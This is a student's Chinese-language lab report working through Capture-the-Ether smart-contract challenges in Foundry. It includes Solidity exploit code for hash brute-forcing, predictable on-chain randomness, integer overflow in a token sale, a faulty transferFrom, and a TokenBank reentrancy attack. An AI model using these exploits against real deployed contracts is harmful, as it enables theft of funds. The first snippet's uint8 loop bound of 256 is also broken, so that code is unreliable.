实验Smart Contract
一切还在掌控之中
一.实验目的
通过破解以太坊智能合约来了解智能合约的漏洞类型。
二.实验内容
(一) 本地部署靶场
参看“参考资料”中的内容或自行搜索资料,完成以下实验。
1. 安装foundry,并将repo clone到本地。
参考官方安装文档或自行查找资料,安装好foundry;将repo clone到本地。(请描述过程遇到了哪些问题?是如何解决的?)
为了解决网络问题以及出于习惯考虑,我使用的是wsl进行本实验。由于在之前的Malware Analysis实验中为了配置Cuckoo Sandbox关闭了window11主机的虚拟化,首先要做的是打开hyper-v恢复虚拟化支持。使用二进制脚本安装(太慢了,直接下载release)。
在wsl编译的同时(问GPT回答说可以自己编译foundry兼容当前 glibc,尝试失败),我在虚拟机中也尝试,报错如下:

原因是glibc 版本,最合适的解决方法是使用ubuntu 22.04+,为了节省时间,我同时下载Ubuntu22.04镜像和旧版本foundry(emm旧版本也都不支持,只能等待ubunutu22.04镜像)。
镜像下载过程中,我发现干脆安装一个ubuntu 22.04的wsl更快,因此我选择使用wsl ubuntu 22.04完成此实验。
(二) 实验
靶场用法:在capture-the-ether-foundry/目录中:
阅读实验问题及其源码(./PROBLEM_NAME/src/PROBLEM_NAME.sol)里 //Write your exploit codes below之前的内容,找出其漏洞所在。
cd到实验问题所在目录(./PROBLEM_NAME/),然后在:
- 测试(./PROBLEM_NAME/test/PROBLEM_NAME.t.sol)中的 // Put your solution here (或是相同意思的注释)处添加你的解决方案(攻击代码);
- 源码(./PROBLEM_NAME/src/PROBLEM_NAME.sol)中的// Write your exploit codes below(或是相同意思的注释)处写解决方案(攻击代码)。
- 编写完解决方案后,cd到问题所在目录(./PROBLEM_NAME/),使用forge test运行测试以检验攻击成果。
1. Guess secret number
将答案直接写入代码会让事情变得太过简单,因此这次只存储了这个数字的哈希值。
目标:破解这个哈希值。(附上添加的解决方案代码、思路解释,以及解决方案运行成功的截图)
本质上就是穷举数字比对hash值。因为这个数字是uint8类型,穷举搜索是实际可行的,只需要遍历0-256计算hash值与answerHash比对,相等时对应的数字即为所求。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
|
contract ExploitContract {
bytes32 answerHash =
0xdb81b4d58595fbbbb592d3661a34cdca14d7ab379441400cbfa1b78bc447c365;
function Exploiter() public view returns (uint8) {
uint8 n;
for(uint8 i=0;i<256;i++)
{
if (keccak256(abi.encodePacked(i)) == answerHash) {
n = i;
break;
}
}
return n;
}
}
|
2. Guess random number
这次的数字是基于几个相当随机的来源生成的。
目标:猜出随机数。
提示:
(1) SWC-136:链上未加密的私有数据;
(2) Ethernaut挑战#8解决方案 — Vault。
(附上添加的解决方案代码、思路解释,以及解决方案运行成功的截图)
相较于上一题,这次的数字是随机生成的。相当于是在模拟真实合约中的不安全场景:使用上一个block的信息生成随机数。而这些数据对于攻击者来说都是容易获得的,因此容易伪造。具体而言是依赖于上一个block的hash值和时间戳,因此只需要模仿answer的生成方式即可猜出随机数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
|
contract ExploitContract {
GuessRandomNumber public guessRandomNumber;
uint8 public answer;
function Exploit() public returns (uint8) {
answer = uint8(
uint256(
keccak256(
abi.encodePacked(
blockhash(block.number - 1),
block.timestamp
)
)
)
);
return answer;
}
}
|
3. Guess new number
该数字现在会在进行猜测时按需生成。
目标:猜中合约中answer的值
(附上添加的解决方案代码、思路解释,以及解决方案运行成功的截图)
本题的answer也是由上一block的hash值与时间戳生成的,只不过和上一题生成answer的时机不同。Guess random number是在调用guess函数之前就已经生成好answer,而Guess new number是在guess函数中生成。
但对于攻击者而言,不管是哪种情况,当前block的number以及时间戳都是已知的,因此模仿answer生成即可猜出随机数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
|
contract ExploitContract {
GuessNewNumber public guessNewNumber;
uint8 public answer;
function Exploit() public returns (uint8) {
answer = uint8(uint256(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp))));
return answer;
}
}
|
4. Token sale
该代币合约允许您以1个代币(token)兑换1个以太币(ether)的固定汇率买卖代币。合约开始时的余额为1个以太币。看看你能否从中赚取一些利润吧。
目标:窃取部分代币。
(附上添加的解决方案代码、思路解释,以及解决方案运行成功的截图)
要求tokenSale的以太币余额少于1 ether,也就是说我们要把它买出来(即sell token)
1 2 3 4 5
| function isComplete() public view returns (bool) {
return address(this).balance < 1 ether;
}
|
首先初始情况下攻击协议是没有token的(或者说我们没有足够的余额将足够的wei换出),想令tokenSale的以太币余额少于1 ether就需要我们从某处“偷”token。
攻击突破口:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| function buy(uint256 numTokens) public payable returns (uint256) {
uint256 total = 0;
unchecked {
total += numTokens * PRICE_PER_TOKEN;// 这里并不检查溢出,total = (numTokens * PRICE_PER_TOKEN) mod 2²⁵⁶
}
require(msg.value == total);
balanceOf[msg.sender] += numTokens;
return (total);
}
|
当numTokens * PRICE_PER_TOKE超过uint256最大值时发生溢出,这意味着我们可以构造合适的数,使得溢出后截断的total等于value,实现用更少的value(以太币,单位为wei)买更多的token。还需要注意的是,构造的token数、wei数不能超过uint256 最大值,否则无法编译通过。
构造原理:首先明确一点,此时交易的ether不是整数,也就是说我们要用wei作为单位。为了防止value(单位wei)溢出,我们计算total发生溢出时对应numToken的最小值,然后计算total的真实取值,即应付款的value(单位wei)。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| n1 = 2**256
n2 = 10**18
numTokens = (n1 - 1) // n2 + 1 # total发生溢出时的最小值,但溢出的值一定要在攻击方的余额内(1、2、3,至少留1个在账户)
value = numTokens * n2 - n1 # 溢出 = 计算得到的total,如果total等于msg.value,交易就能够成功
print("numTokens =",numTokens)
print("value =",value)
\# numTokens = 115792089237316195423570985008687907853269984665640564039458
\# ether = 415992086870360064
|
然后就可以卖掉“偷”到的一个token,实现攻击。值得注意的是,需要在攻击合约和测试中补充攻击函数Exploiter。
补充代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
| // Write your exploit contract below
contract ExploitContract {
TokenSale public tokenSale;
constructor(TokenSale _tokenSale) {
tokenSale = _tokenSale;
}
receive() external payable {}
// write your exploit functions below
function Exploiter() external {
uint256 numTokens = 115792089237316195423570985008687907853269984665640564039458;
uint256 value = 415992086870360064;
tokenSale.buy{value: value}(numTokens);
tokenSale.sell(1);
}
}
测试文件:
// Use the instance of tokenSale and exploitContract
function testIncrement() public {
// Put your solution here
exploitContract.Exploiter();
_checkSolved();
}
|
5. Token whale
这款兼容ERC-20的代币难以获取,其总供应量固定为1,000个代币,且初始阶段所有代币均归你所有。试找到一种方法积累至少1,000,000枚代币以完成此挑战。
目标:积累至少 1,000,000 个代币。
(附上添加的解决方案代码、思路解释,以及解决方案运行成功的截图)
攻击突破口在transferFrom函数,检查from的余额但扣除其授权者的余额,逻辑有误,且_transfer函数可溢出。(这里的逻辑一开始没有细看,直接默认是正常人逻辑,后来测试的时候一整个蒙圈,重新读了代码才明白过来)
首先利用transfer函数将player的余额全部转出,然后利用transferFrom函数的混乱检查(检查代理余额,扣除调用者的余额),请求让达成协议的用户进行transferFrom,此时扣款发生溢出,实现目标。
本题需要格外注意的是,msg.sender地址是指谁?因为大部分情况是player,所以我的代码写在了testExploit函数中,需要其他sender的场景使用vm.startPrank和vm.stopPrank即可。
代码分析如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73
| function isComplete() public view returns (bool) {
return balanceOf[player] >= 1000000; // 要求player的余额大于1000000
}
function _transfer(address to, uint256 value) internal {
unchecked {
balanceOf[msg.sender] -= value; // 溢出
balanceOf[to] += value;
}
emit Transfer(msg.sender, to, value);
}
function transfer(address to, uint256 value) public {
require(balanceOf[msg.sender] >= value); // sender:余额足够
require(balanceOf[to] + value >= balanceOf[to]); // to:余额不会溢出
_transfer(to, value);
}
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
function approve(address spender, uint256 value) public { // sender授权spender可以花费owner的余额
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
}
function transferFrom(address from, address to, uint256 value) public {
require(balanceOf[from] >= value); // 这里检查from的余额,但后面扣除的是授权者的余额,一整个逻辑混乱
require(balanceOf[to] + value >= balanceOf[to]);
require(allowance[from][msg.sender] >= value);
allowance[from][msg.sender] -= value;
_transfer(to, value);
}
}
|
攻击代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| // Use the instance tokenWhale and exploitContract
// Use vm.startPrank and vm.stopPrank to change between msg.sender
function testExploit() public {
// Put your solution here
address addr = address(this);
tokenWhale.transfer(Alice, 1000);
tokenWhale.approve(Alice, type(uint256).max);
vm.startPrank(Alice);
tokenWhale.approve(addr, type(uint256).max);
vm.stopPrank();
tokenWhale.transferFrom(Alice, Bob, 10);
_checkSolved();
}
|
运行截图:
6. Token bank
一个代币银行允许任何人通过将代币转入银行来存入代币,然后在以后提取这些代币。它使用ERC-223来接受传入的代币。该银行部署了一个名为“Simple ERC223 Token”的代币,并将代币的一半分配给我,另一半分配给你。如果你能清空银行,你就赢得了这个挑战。
目标:清空银行。
(附上添加的解决方案代码、思路解释,以及解决方案运行成功的截图)
攻击突破口为withdraw函数,逻辑是先转账,再扣款。如果这两个操作之间的transfer函数触发tokenFallback函数(此时可以再次调用withdraw以清空银行),然后再回到withdraw函数进行扣款,这就实现了“付一笔款买两份东西”。但注意,想要实现这一点,还需要之前用户的余额不小于银行的余额,否则仍是有心无力。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| function withdraw(uint256 amount) public {
// emit Test1(msg.sender, balanceOf[msg.sender]);
require(balanceOf[msg.sender] >= amount); // 先转账,再扣余额
require(token.transfer(msg.sender, amount));
unchecked {
balanceOf[msg.sender] -= amount;
}
}
|
具体而言,先将player的余额全部取出,通过transferfrom函数将token转移给攻击合约。调用攻击合约的exploit函数进行攻击,首先将攻击合约的token存入银行,获得余额,调用withdraw函数→transfer函数→tokenFallback函数,利用attacking标识当前一次的withdraw是否嵌套调用,然后根据余额状况再一次调用withdraw,也就是说主函数中的一次withdraw可以取出两倍的value,实现清空。
值得注意的是,本题目设定应为:
不可动用test账户余额
不可利用token地址直接调用tokenFallback函数,否则会扰乱整个交易秩序(具体而言就是,用户向银行存款,但银行账户余额不增加,如果是这样的话,直接多找几个账户转款、存款、取款就能把银行取垮了)
协议的基本设定不可随意变化(比如,把Test变为ITokenReceiver,此时在test中就能将test用户的余额取出,题目就没有意义了)
详细代码如下:
- TokenBank.sol
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81
| contract TokenBankAttacker is ITokenReceiver {
TokenBankChallenge public challenge;
constructor(address challengeAddress) {
challenge = TokenBankChallenge(challengeAddress);
}
bool attacking ;
SimpleERC223Token public token;
function exploit() external {
token = challenge.token();
token.transfer(address(challenge), 500000 * 10**18 );
challenge.withdraw(500000 * 10**18 -1);
attacking = false;
challenge.withdraw(1);
}
function tokenFallback(
address,
uint256,
bytes memory
) external override {
require(msg.sender == address(token), "Invalid sender");
if(!attacking){
attacking = true;
uint256 bankBalance = token.balanceOf(address(challenge));
if (bankBalance > 500000 * 10**18) {
challenge.withdraw(500000 * 10**18 - 1);
}else{
challenge.withdraw(bankBalance);
}
}
}
}
|
- TokenBank.sol
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
| contract TankBankTest is Test {
TokenBankChallenge public tokenBankChallenge;
TokenBankAttacker public tokenBankAttacker;
address player = address(1234);
function setUp() public {}
function testExploit() public {
tokenBankChallenge = new TokenBankChallenge(player);
tokenBankAttacker = new TokenBankAttacker(address(tokenBankChallenge));
// Put your solution here
SimpleERC223Token token = tokenBankChallenge.token();
vm.startPrank(player);
tokenBankChallenge.withdraw(500000 * 10**18); // 先把player的余额取出,剩余一半
token.approve(player, type(uint256).max); // 授权
// 把player手里的token给tokenBankAttacker
token.transferFrom(player, address(0x2e234DAe75C793f67A35089C9d99245E1C58470b), 500000 * 10**18);
vm.stopPrank();
tokenBankAttacker.exploit(); // 进行攻击
_checkSolved();
}
|
三.实验总结
在本次Smart Contract实验中,我学习并分析了多个智能合约漏洞与攻击场景,涵盖了碰撞、链上伪随机数推导、token定价漏洞、整数溢出、重入漏洞等典型问题。
通过前两个任务,我知道了链上数据具有公开性,不能用作保密用途,也不能作为随机数源
Token Whale与Token Sale两题让我理解了整数溢出在定价机制中的利用方式
在Token Bank中学习了重入攻击,结合tokenFallback函数的回调机制,利用操作步骤顺序错误完成攻击,体现了逻辑漏洞带来的实际风险
整个过程中,我不仅尝试了Foundry框架的使用,也加深了对智能合约安全性的系统性理解。
四.参考资料
[1] 智能合约开发中13种最常见的漏洞:https://blog.csdn.net/qq_38420688/article/details/139493581
[2] 智能合约语言Solidity:https://www.w3ccoo.com/solidity/solidity_basic_syntax.html、https://learnblockchain.cn/docs/solidity/types.html (留意Solidity版本的不同对代码使用可能的影响)
[3] Foundry教程|如何调试和部署Solidity智能合约:https://learnblockchain.cn/article/4524